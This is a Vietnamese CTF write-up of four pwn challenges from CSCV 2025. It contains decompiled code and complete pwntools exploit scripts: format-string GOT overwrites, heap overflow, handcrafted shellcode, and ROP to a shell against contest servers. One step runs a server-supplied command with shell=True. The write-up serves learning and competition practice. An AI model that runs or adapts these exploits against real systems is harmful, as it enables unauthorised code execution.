# Writeup Quals CyberSecurity Student Contest Viet Nam 2025 - Pwn - Những bài mình đã giải được: ![image](https://hackmd.io/_uploads/rJ8XwOd0ee.png) - Link challenge: [Quals CSCV CTF 2025](https://github.com/nhh9905/CTF/tree/main/CSCV2025) # RacehorseS ![image](https://hackmd.io/_uploads/r16fmCbRll.png) ## Pseudo code ```C= int __fastcall main(int argc, const char **argv, const char **envp) { unsigned __int64 i; // [rsp+10h] [rbp-430h] unsigned __int64 j; // [rsp+18h] [rbp-428h] size_t v6; // [rsp+20h] [rbp-420h] size_t v7; // [rsp+28h] [rbp-418h] char s[1032]; // [rsp+30h] [rbp-410h] BYREF unsigned __int64 v9; // [rsp+438h] [rbp-8h] v9 = __readfsqword(0x28u); setup(argc, argv, envp); memset(s, 0, 1024u); printf("Say something: "); if ( fgets(s, 1024, stdin) ) { v6 = strlen(s); if ( v6 && s[v6 - 1] == 10 ) s[v6 - 1] = 0; v7 = strlen(s); if ( !v7 ) strcpy(s, "(silence)"); putchar(32); for ( i = 0; i < v7 + 2; ++i ) putchar(95); printf("\n< "); printf(s); puts(" >"); for ( j = 0; j < v7 + 2; ++j ) putchar(45); putchar(10); puts(" \\ ^__^"); puts(" \\ (oo)\\_______"); puts(" (__)\\ )\\/\\"); puts(" ||-----||"); puts(" || ||"); puts(&byte_402096); exit(0); } return 0; } ``` ## Exploit - Checksec: ![image](https://hackmd.io/_uploads/ry1xEAWCee.png) - Đọc source code thì ta thấy ngay lỗ hổng format string, kết hợp với đó các chế độ bảo vệ không được bật, do đó ta sẽ khai thác triệt để lỗ hổng này. - Leak libc và ghi đè `puts` -> `main`: ![Screenshot 2025-10-19 100349](https://hackmd.io/_uploads/SJazBAbCxe.png) ![image](https://hackmd.io/_uploads/rkMVHCZRlg.png) ![image](https://hackmd.io/_uploads/BkXSrAbCxg.png) - Ghi đè `strlen` -> `system`: ![image](https://hackmd.io/_uploads/SJXKBRWClg.png) ![image](https://hackmd.io/_uploads/S1X5rRZAlx.png) - Nhập `/bin/sh` và lấy được shell: ![image](https://hackmd.io/_uploads/Skk0SCZAlg.png) ![image](https://hackmd.io/_uploads/HJxkI0ZRgl.png) ## Remote server - Đoạn này ta phải xử lý captcha rồi mới tiếp tục thực hiện nhập dữ liệu: ![Screenshot 2025-10-19 100746](https://hackmd.io/_uploads/SkM-8C-Cee.png) - Xử lý: Quá trình nhập bằng tay: ![Screenshot 2025-10-19 100907](https://hackmd.io/_uploads/H1FILC-0gg.png) ![image](https://hackmd.io/_uploads/HJLPLRWAle.png) - Dùng code xử lý: ```python= p.recvuntil(b'work: ') curl_command = p.recvuntil(b'\n', drop=True) captcha_solution = subprocess.check_output(curl_command, shell=True) p.sendafter(b"solution: ", captcha_solution) ``` ![Screenshot 2025-10-19 101125](https://hackmd.io/_uploads/BJTCICb0xg.png) ## Full Script ```python= #!/usr/bin/env python3 from pwn import * # ENV PORT = 6789 HOST = "pwn1.cscv.vn" exe = context.binary = ELF('./horse_say_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) ld = ELF('./ld-linux-x86-64.so.2', checksec=False) def GDB(): if not args.r: gdb.attach(p, gdbscript=''' source /home/nhh/pwndbg/gdbinit.py b* 0x00000000004013F1 b* 0x000000000040145A b* 0x0000000000401380 c set follow-fork-mode parent ''') if len(sys.argv) > 1 and sys.argv[1] == 'r': p = remote(HOST, PORT) else: p = exe.process() # VARIABLE putchar_got = exe.got.putchar puts_got = exe.got.puts printf_got = exe.got.printf strlen_got = exe.got.strlen main = exe.sym.main gadget = [0x583ec, 0x583f3, 0xef4ce, 0xef52b] # PAYLOAD p.recvuntil(b'work: ') curl_command = p.recvuntil(b'\n', drop=True) captcha_solution = subprocess.check_output(curl_command, shell=True) p.sendafter(b"solution: ", captcha_solution) payload = b'%141$p|%143$p|%9$p|' payload += f'%{main - 49 & 0xffff}c%16$hn'.encode() payload = payload.ljust(0x20, b'a') payload += p64(puts_got) p.sendlineafter(b'something: ', payload) p.recvuntil(b'< ') canary = int(p.recvuntil(b'|', drop=True), 16) log.info("Canary: " + hex(canary)) libc_leak = int(p.recvuntil(b'|', drop=True), 16) libc.address = libc_leak - libc.sym.__libc_start_call_main - 122 log.info("Libc base: " + hex(libc.address)) ld_leak = int(p.recvuntil(b'|', drop=True), 16) ld.address = ld_leak - 0x392e0 log.info("Ld base: " + hex(ld.address)) system = libc.sym.system package = { system & 0xffff: strlen_got, system >> 16 & 0xffff: strlen_got + 2, } order = sorted(package) payload = f'%{order[0]}c%16$hn'.encode() payload += f'%{order[1] - order[0]}c%17$hn'.encode() payload = payload.ljust(0x20, b'a') payload += flat( package[order[0]], package[order[1]], ) p.sendlineafter(b'something: ', payload) p.sendlineafter(b'something: ', b'/bin/sh') p.sendline(b'cat flag') p.interactive() ``` ## Flag `CSCV2025{k1m1_n0_4184_64_2ukyun_d0kyun_h45h1r1d35h1}` # Heap NoteS ![image](https://hackmd.io/_uploads/HJBHw0bRxx.png) ## Pseudo code - Restruct lại code: ![image](https://hackmd.io/_uploads/HyU5U-8Vbx.png) - `create_note()`: ![image](https://hackmd.io/_uploads/rJ6OL-84bl.png) - `read_note()`: ![image](https://hackmd.io/_uploads/HkK2LWUVWx.png) - `write_note()`: ![image](https://hackmd.io/_uploads/rkXpU-UEZl.png) ## Exploit - Checksec: ![image](https://hackmd.io/_uploads/SycruR-0le.png) - Đọc hàm `write_note()` dễ dàng thấy được lỗ hổng `heap overflow` khi nhập dữ liệu bằng `gets`. - Cách thức hoạt động của các chunk thông qua `g_note` bằng danh sách liên kết đơn (singly linked list). Do đó ta chỉ cần bẻ gãy linked list và chèn vào 1 địa chỉ hợp lệ là có thể tấn công. ![Screenshot 2025-10-19 130453](https://hackmd.io/_uploads/Bk8n1ZGCex.png) `g_note -> 0x165e12a0 -> 0x165e12e0 -> NULL` - Trong đó: `*ptr = idx, *(ptr + 8) = ptr->next` ### Leak libc - Mục tiêu của mình là leak libc ở phân vùng biến toàn cục. Do đó, mình sẽ fake idx trên phân vùng đó và ghi đè vào linked list. ![Screenshot 2025-10-19 131142](https://hackmd.io/_uploads/BkA4GbfAxl.png) > Màu vàng: index (idx) > Màu xanh: ptr->next > Màu đỏ: data - Lúc này danh sách của chúng ta là: `g_note -> 0x165e12a0 -> 0x165e12e0 -> 0x404050 -> NULL` - Thành công leak được libc: ![image](https://hackmd.io/_uploads/rklDfZzAeg.png) ### Overwrite gets - Hãy cùng xem bảng GOT ở phía dưới, để ghi đè được `gets` thì ptr = `setbuf`. ![image](https://hackmd.io/_uploads/HyG5GZMRel.png) - Làm tương tự như leak libc, ta thành công ghi đè `gets` -> `system`: ![image](https://hackmd.io/_uploads/r1ZQXbfCgx.png) ![image](https://hackmd.io/_uploads/SyamQ-f0eg.png) - Thành công lấy được shell: ![Screenshot 2025-10-19 132135](https://hackmd.io/_uploads/r1znN-GRlx.png) ![image](https://hackmd.io/_uploads/rygnQZMRee.png) - Remote server: ![image](https://hackmd.io/_uploads/B10AXZz0lx.png) ## Full Script ```python= #!/usr/bin/env python3 from pwn import * # ENV PORT = 3333 HOST = "pwn2.cscv.vn" exe = context.binary = ELF('./challenge_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) ld = ELF('./ld-linux-x86-64.so.2', checksec=False) def GDB(): if not args.r: gdb.attach(p, gdbscript=''' source /home/nhh/pwndbg/gdbinit.py b* 0x0000000000401466 b* 0x00000000004013B1 c set follow-fork-mode parent ''') if len(sys.argv) > 1 and sys.argv[1] == 'r': p = remote(HOST, PORT) else: p = exe.process() def add(): p.sendlineafter(b'> ', str(1)) def show(idx): p.sendlineafter(b'> ', str(2)) p.sendlineafter(b'Index: ', str(idx)) def write(idx, data): p.sendlineafter(b'> ', str(3)) p.sendlineafter(b'Index: ', str(idx)) p.sendline(data) # VARIABLE exit_got = exe.got.exit setbuf_got = exe.got.setbuf # PAYLOAD for i in range(2): add() payload = b'\0'*0x28 + p64(0x41) + p64(1) + p64(exit_got) write(0, payload) payload = p64(0) + p64(0x10) write(0x4010a0, payload) payload = b'\0'*0x28 + p64(0x41) + p64(1) + p64(0x404050) write(0, payload) show(0x10) libc_leak = u64(p.recv(6) + b'\0'*2) libc.address = libc_leak - libc.sym._IO_2_1_stdout_ log.info("Libc base: " + hex(libc.address)) system = libc.sym.system bin_sh = next(libc.search(b'/bin/sh')) setbuf = libc.sym.setbuf payload = b'\0'*0x28 + p64(0x41) + p64(1) + p64(setbuf_got) write(0, payload) write(1, b'/bin/sh') write(setbuf & 0xffffffff, p64(system)) p.sendlineafter(b'> ', str(3)) p.sendlineafter(b'Index: ', str(1)) p.sendline(b'cat flag.txt') p.interactive() ``` ## Flag `CSCV2025{313487590c9dbf64bdd49d7e76980965}` # SudokuS ![image](https://hackmd.io/_uploads/SJiXB-MAxg.png) - Đây là 1 challenge khó liên quan đến việc viết shellcode dựa trên những số đã có sẵn trên bảng `BOARD` (81 số). ![Screenshot 2025-10-19 133036](https://hackmd.io/_uploads/By7gLZz0gx.png) - Sau khi tham khảo writeup của `vietnq` thì mình đã tìm ra được những điểm mấu chốt sau: - Tận dụng lỗ hổng Out-of-bound để ghi đè ngoài bảng `BOARD`. - Tạo thêm 1 syscall `read` nữa để nhập shellcode thực hiện các thao tác: mở file `/flag`, đọc flag, in flag. Bây giờ chúng ta hãy cùng mổ xẻ bài này. ## Pseudo code - Hàm `main()`: có khởi tạo seccomp. ```C= int __fastcall main(int argc, const char **argv, const char **envp) { int choice; // [rsp+8h] [rbp-8h] BYREF int size; // [rsp+Ch] [rbp-4h] init(argc, argv, envp); init_sec_comp(); puts("=== CSCV2025 - SudoShell ==="); usage(); printf("> "); size = __isoc99_scanf("%d", &choice); if ( size <= 0 ) { perror("scanf failed"); exit(1); } switch ( choice ) { case 1: start_game(); break; case 2: exit(0); case 3: help(); break; } return 0; } ``` - Ta chỉ cần quan tâm hàm `start_game()`: ```C= __int64 start_game() { unsigned __int8 num; // [rsp+Dh] [rbp-23h] BYREF unsigned __int8 col; // [rsp+Eh] [rbp-22h] BYREF unsigned __int8 row; // [rsp+Fh] [rbp-21h] BYREF char buf[28]; // [rsp+10h] [rbp-20h] BYREF int size; // [rsp+2Ch] [rbp-4h] num = 0; printf("What's your name? "); size = read(0, buf, 39u); if ( size <= 0 ) { perror("read failed"); exit(1); } buf[size] = 0; printf("Welcome %s\n", buf); initBOARD(); while ( 1 ) { displayBOARD(); if ( (unsigned __int8)isComplete() ) { puts("Congratulations!"); return 0; } printf("> "); size = __isoc99_scanf("%hhu %hhu %hhu", &row, &col, &num); if ( size <= 0 ) { perror("scanf failed"); exit(1); } if ( !row && !col && !num ) break; if ( (unsigned __int8)canEdit(--row, --col) != 1 || (unsigned __int8)isValid(row, col, num) != 1 ) puts("Invalid input!"); else BOARD[9 * row + col] = num; } puts("Bye!"); return 0; } ``` - `canEdit()`: kiểm tra xem ô đó có được sửa không. ```C= bool __fastcall canEdit(unsigned __int8 row, unsigned __int8 col) { return ORIGINAL[9 * row + col] == 0; } ``` - `isValid()`: kiểm tra xem ô đó có chứa số nào khác 0 không. ```C= __int64 __fastcall isValid(unsigned __int8 row, unsigned __int8 col, unsigned __int8 num) { signed int m; // [rsp+1Ch] [rbp-10h] signed int k; // [rsp+20h] [rbp-Ch] int j; // [rsp+24h] [rbp-8h] int i; // [rsp+28h] [rbp-4h] for ( i = 0; i <= 8; ++i ) { if ( BOARD[9 * row + i] == num && i != col ) return 0; } for ( j = 0; j <= 8; ++j ) { if ( BOARD[9 * j + col] == num && j != row ) return 0; } for ( k = 3 * (row / 3u); k <= (int)(3 * (row / 3u) + 2); ++k ) { for ( m = 3 * (col / 3u); m <= (int)(3 * (col / 3u) + 2); ++m ) { if ( BOARD[9 * k + m] == num && (k != row || m != col) ) return 0; } } return 1; } ``` ## Exploit - Kiểm tra các syscall bị chặn: ![image](https://hackmd.io/_uploads/H1U5djVCgx.png) - Checksec: ![image](https://hackmd.io/_uploads/ByXuNt40gx.png) - Tuy NX được bật nhưng shellcode được thực thi ở phân vùng khác có full quyền nên ta không cần lo vấn đề này. - PIE tắt nên ta có địa chỉ tĩnh. - Trong hàm `start_game()` có lỗ hổng buffer overflow cho phép ta ghi đè vào `saved rbp`. - Dưới đây mình sẽ trình bày chi tiết cách làm bài này: ### Ghi đè `0x4041b0 -> 0x4040f5` - Trong hàm `start_game()` khai báo col bằng kiểu dữ liệu `unsigned __int8` do đó range nằm trong khoảng `-256 -> 255`. - Khi đó, ta nhập `-45` chương trình sẽ hiểu `col = 255 - 45 = 210`. ![Screenshot 2025-10-21 110645](https://hackmd.io/_uploads/r1vRItNAel.png) ```python= p.sendlineafter(b'> ', b'1 -45 64') p.sendlineafter(b'> ', b'1 -46 64') p.sendlineafter(b'> ', b'1 -47 245') ``` - Thành công cho chương trình nhảy vào địa chỉ `0x4040f5`, ta tiếp tục ghi đè vào địa chỉ này. ![image](https://hackmd.io/_uploads/S1x7vFEAge.png) ### Tạo gadget `call qword ptr [rsp + 0x5]` ```python= # 0x4040f5 <BOARD+21> call qword ptr [rsp + 0x5] <0x4041c5> p.sendlineafter(b'> ', b'3 4 255') p.sendlineafter(b'> ', b'3 5 84') p.sendlineafter(b'> ', b'3 6 36') p.sendlineafter(b'> ', b'3 7 5') ``` - Gọi gadget thành công, tuy nhiên trong `[rsp + 0x5]` không có dữ liệu, do đó ta ghi đè 1 địa chỉ hợp lệ vào đây. ![image](https://hackmd.io/_uploads/SyHPpjNRxg.png) ### Ghi đè vào `0x4041bd -> 0x4041c5` ```python= p.sendlineafter(b'> ', b'1 -32 64') p.sendlineafter(b'> ', b'1 -33 65') p.sendlineafter(b'> ', b'1 -34 197') ``` ![Screenshot 2025-10-21 135254](https://hackmd.io/_uploads/rkKa6jEAlg.png) - Bây giờ ta viết shellcode hàm `read` vào địa chỉ `0x4041c5`. ### Tạo shellcode `read` - Ta sẽ cho tham số thứ 2 (rsi) trỏ tới vùng nhớ gần với địa chỉ tiếp theo sau syscall `read` này để chèn shellcode thực hiện in flag. ```python= # 0x4041c5 mov edx, 0x100 p.sendlineafter(b'> ', b'1 -26 72') p.sendlineafter(b'> ', b'1 -25 199') p.sendlineafter(b'> ', b'1 -24 194') p.sendlineafter(b'> ', b'1 -23 0') p.sendlineafter(b'> ', b'1 -22 1') p.sendlineafter(b'> ', b'1 -21 0') p.sendlineafter(b'> ', b'1 -20 0') # 0x4041cc mov rsi, rsp p.sendlineafter(b'> ', b'1 -19 72') p.sendlineafter(b'> ', b'1 -18 137') p.sendlineafter(b'> ', b'1 -17 230') # 0x4041cf mov rdi, rax p.sendlineafter(b'> ', b'1 -16 72') p.sendlineafter(b'> ', b'1 -15 137') p.sendlineafter(b'> ', b'1 -14 199') # 0x4041d2 syscall <SYS_read> p.sendlineafter(b'> ', b'-240 -147 5') p.sendlineafter(b'> ', b'1 -13 15') ``` ![Screenshot 2025-10-21 135413](https://hackmd.io/_uploads/SJfMRj40ex.png) ### Nhập shellcode ```python= flag = 0x4041b0 payload = b'/flag\0' payload = payload.ljust(0x24,b'\0') # 0x4041d4 shellcode = asm(f''' mov rdi, {flag} mov rsi, 0 mov rdx, 0 mov rax, 2 syscall mov rdi, rax mov rsi, {rw_section} mov rdx, 0x50 mov rax, 0 syscall mov rdi, 1 mov rsi, {rw_section} mov rdx, 0x50 mov rax, 0x1 syscall ''', arch= 'amd64') payload += shellcode p.send(payload) ``` - Thành công chèn shellcode: ![Screenshot 2025-10-21 111825](https://hackmd.io/_uploads/Hy_5Kt4Ceg.png) - In flag: ![image](https://hackmd.io/_uploads/SyAjtYEAxg.png) ![image](https://hackmd.io/_uploads/B1WatYN0le.png) - Remote server: ![image](https://hackmd.io/_uploads/H1TRKYNAll.png) ## Full Script ```python= #!/usr/bin/env python3 from pwn import * # ENV PORT = 5555 HOST = "pwn3.cscv.vn" exe = context.binary = ELF('./sudoshell', checksec=False) # libc = ELF('./libc.so.6', checksec=False) # ld = ELF('', checksec=False) def GDB(): if not args.r: gdb.attach(p, gdbscript=''' source /home/nhh/pwndbg/gdbinit.py b* 0x0000000000401C77 b* 0x0000000000401C9C b* 0x0000000000401CF5 c set follow-fork-mode parent ''') if len(sys.argv) > 1 and sys.argv[1] == 'r': p = remote(HOST, PORT) else: p = exe.process() # VARIABLE board = 0x4040e0 main = exe.sym.main printf_got = exe.got.printf # PAYLOAD p.sendlineafter(b'> ', str(1)) rw_section = 0x404280 payload = b'1'*0x20 + p64(0x4041b0 - 8)[:-1] p.sendafter(b'? ', payload) # 0x4040f5 <BOARD+21> call qword ptr [rsp + 0x5] <0x4041c5> p.sendlineafter(b'> ', b'3 4 255') p.sendlineafter(b'> ', b'3 5 84') p.sendlineafter(b'> ', b'3 6 36') p.sendlineafter(b'> ', b'3 7 5') # 255 - 45 = 0xd2 # 0x4041b0 -> 0x4040f5 p.sendlineafter(b'> ', b'1 -45 64') p.sendlineafter(b'> ', b'1 -46 64') p.sendlineafter(b'> ', b'1 -47 245') # 0x4041bd -> 0x4041c5 p.sendlineafter(b'> ', b'1 -32 64') p.sendlineafter(b'> ', b'1 -33 65') p.sendlineafter(b'> ', b'1 -34 197') # 0x4041c5 mov edx, 0x100 p.sendlineafter(b'> ', b'1 -26 72') p.sendlineafter(b'> ', b'1 -25 199') p.sendlineafter(b'> ', b'1 -24 194') p.sendlineafter(b'> ', b'1 -23 0') p.sendlineafter(b'> ', b'1 -22 1') p.sendlineafter(b'> ', b'1 -21 0') p.sendlineafter(b'> ', b'1 -20 0') # 0x4041cc mov rsi, rsp p.sendlineafter(b'> ', b'1 -19 72') p.sendlineafter(b'> ', b'1 -18 137') p.sendlineafter(b'> ', b'1 -17 230') # 0x4041cf mov rdi, rax p.sendlineafter(b'> ', b'1 -16 72') p.sendlineafter(b'> ', b'1 -15 137') p.sendlineafter(b'> ', b'1 -14 199') # 0x4041d2 syscall <SYS_read> p.sendlineafter(b'> ', b'-240 -147 5') p.sendlineafter(b'> ', b'1 -13 15') p.sendlineafter(b'> ', b'0 0 0') flag = 0x4041b0 payload = b'/flag\0' payload = payload.ljust(0x24,b'\0') # 0x4041d4 shellcode = asm(f''' mov rdi, {flag} mov rsi, 0 mov rdx, 0 mov rax, 2 syscall mov rdi, rax mov rsi, {rw_section} mov rdx, 0x50 mov rax, 0 syscall mov rdi, 1 mov rsi, {rw_section} mov rdx, 0x50 mov rax, 0x1 syscall ''', arch= 'amd64') payload += shellcode p.send(payload) p.interactive() ``` ## Flag `CSCV2025{Y0u_kn0w_h0w_t0_bu1ld_sh4llc03}` # Hanoi Convention ![image](https://hackmd.io/_uploads/S1FGI-zRee.png) - Ở bài này thì mình đã thấy lỗ hổng để khai thác, tuy nhiên vấn đề khó nhất nằm ở chỗ các câu hỏi ta phải bruteforce trên server để lấy được toàn bộ dữ liệu, đồng thời ta phải tìm được câu trả lời đúng cho mỗi câu hỏi. - Sau khi giải kết thúc thì mình đã dành thời gian nghiên cứu và cuối cùng đạt được kết quả mong muốn. - Tất cả mọi thứ đều nằm trong này: [Hanoi Convention](https://github.com/nhh9905/CTF/blob/main/CSCV2025/quiz.zip) ## Pseudo code - Vì source code khá dài và nhiều chức năng nên mình sẽ không đề cập ở đây. - Tuy nhiên trước khi đi vào khai thác thì chúng ta cần patch lại file để việc debug diễn ra nhanh hơn bằng cách sửa `usleep(0xF4240u)` -> `usleep(0)`. ![image](https://hackmd.io/_uploads/SJRXSL_Cge.png) - Chọn `Edit` -> `Patch Program` -> `Assemble`. ![image](https://hackmd.io/_uploads/SkDwSUOAgx.png) - Chọn `Edit` -> `Patch Program` -> `Apply patches to input file`. ![image](https://hackmd.io/_uploads/B1yMIIdAgx.png) - Kiểm tra bằng pwndbg và đã patch thành công. ![Screenshot 2025-10-24 083040](https://hackmd.io/_uploads/rJh3UL_Cee.png) ## Exploit - Checksec: ![image](https://hackmd.io/_uploads/SJhgvLORll.png) - Trước khi đi vào cách bypass các câu hỏi thì mình sẽ liệt kê các lỗ hổng có trong bài để thuận tiện cho việc khai thác: - `fn_show_player_info_1FEE()`: lỗ hổng format string. ```C= __printf_chk(1, gn_activity_log_60A0); ``` - `fn_start_quiz_2183()`: lỗ hổng buffer overflow nếu `gn_rank_level_612C > 19 && (unsigned int)gn_score_6120 > 0x7CF`. ```C= char buf[200]; // [rsp+F0h] [rbp-D0h] BYREF size = read(0, buf, 0xE0u); ``` - `fn_edit_player_name_if_rank_ge_5_2660()`: lỗ hổng buffer overflow. ```C= strcpy(gn_player_name_60E0, s); ``` ### Leak database - Công đoạn này làm khá tốn thời gian (30p) và theo suy đoán thì mình cũng chưa leak được hết toàn bộ số câu hỏi. - Sử dụng script sau để leak các câu hỏi, sau đó mình sử dụng AI thần chưởng thì có được file `questions.json`. - Script và file `json` nằm trong file `zip`. ### Bypass questions - Trước hết chúng ta phải xác định mục đích của việc bypass này: `trả lời đúng 100 câu hỏi -> rank = 5 -> fn_edit_player_name_if_rank_ge_5_2660() -> edit gn_rank_level_612C + gn_score_6120 -> Exploit` - Lý do tại sao phải trả lời đúng 100 câu hỏi thì ta phải đọc code: ```C= puts("\n=== END OF QUIZ ==="); printf("You answered %d/%d questions correctly.\n", i, cnt); printf("Current score: %u\n", gn_score_6120); if ( (int)i < cnt ) { puts("\nYou need to try harder next time to master the rules."); } else { puts("\nCONGRATULATIONS! You passed the quiz with an excellent result!"); ++gn_pass_counter_6124; ++gn_total_passed_6128; if ( gn_pass_counter_6124 >= gn_rank_level_612C ) { gn_pass_counter_6124 = 0; printf(asc_3A38, (unsigned int)++gn_rank_level_612C); } } ``` > Rank 2: 10 câu > Rank 3: 20 câu > Rank 4: 30 câu > Rank 5: 40 câu - Cách bypass khá đơn giản: chọn câu trả lời dài nhất. Lúc đầu mình cũng nghi ngờ nhưng khi kết nối tới server thì đúng 100%. ![image](https://hackmd.io/_uploads/BJ2NJwdCel.png) ### Leak stack & canary - Hãy quay lại các lỗ hổng mình liệt kê ở trên. Ở hàm `fn_start_quiz_2183()` ta sẽ tận dụng hàm `snprintf()` đưa dữ liệu lên `gn_activity_log_60A0`. ```C= snprintf(gn_activity_log_60A0, 0x40u, "You have reached rank %d\nYour thoughts: %s", gn_rank_level_612C, buf); ``` - Trước khi leak dữ liệu thì phải set rank và score sao cho ta có thể tận dụng được lỗ hổng buffer overflow trong hàm `fn_start_quiz_2183()`. - Thử nhập `%6$p` và cái kết: ![image](https://hackmd.io/_uploads/rJ8DxPOCgx.png) - Do đó, ta phải nhập payload `%p` hoặc `%s`: ![image](https://hackmd.io/_uploads/rkbW7PdCgl.png) ### Leak libc - Ghi đè `stack_leak - 0x{xxx}` vào save rbp của hàm `fn_start_quiz_2183()` và tiến hành leak. - Do đề không cho bất cứ gì ngoài file ELF nên ta phải tiến hành leak tất cả để tìm được libc phù hợp: - Leak `_IO_2_1_stdout_` trên server: ![Screenshot 2025-10-24 093355](https://hackmd.io/_uploads/Sk0YSvdCeg.png) - Leak `_IO_file_write`: ![image](https://hackmd.io/_uploads/rJ92rD_Cgg.png) ![image](https://hackmd.io/_uploads/HJ0D0DdRgg.png) - Trong số các libc mình thử thì có [libc](https://libc.blukat.me/?q=_IO_2_1_stdout_%3A5c0%2C_IO_file_write%3A940&l=libc6_2.39-0ubuntu8.6_amd64) là phù hợp nhất. ### Get shell - Đến đây thì việc khai thác khá là dễ dàng, tận dụng gadget `leave; ret` để rsp trỏ về `system('/bin/sh')`. ![Screenshot 2025-10-24 101542](https://hackmd.io/_uploads/rJFUJOO0el.png) ![image](https://hackmd.io/_uploads/S1et_JO_Ceg.png) ## Remote server - Giải mã captcha -> lấy flag. ![image](https://hackmd.io/_uploads/BJ3rM_uCle.png) ## Flag <details> <summary>Flag</summary> ```text CSCV2025{H4n0i_C0nv3nt10n_C0un73r1ng_Cyb3rcR1m3_Sh4r1ng_R3sp0ns1b1l1ty_S3cur1ng_0ur_Futur3}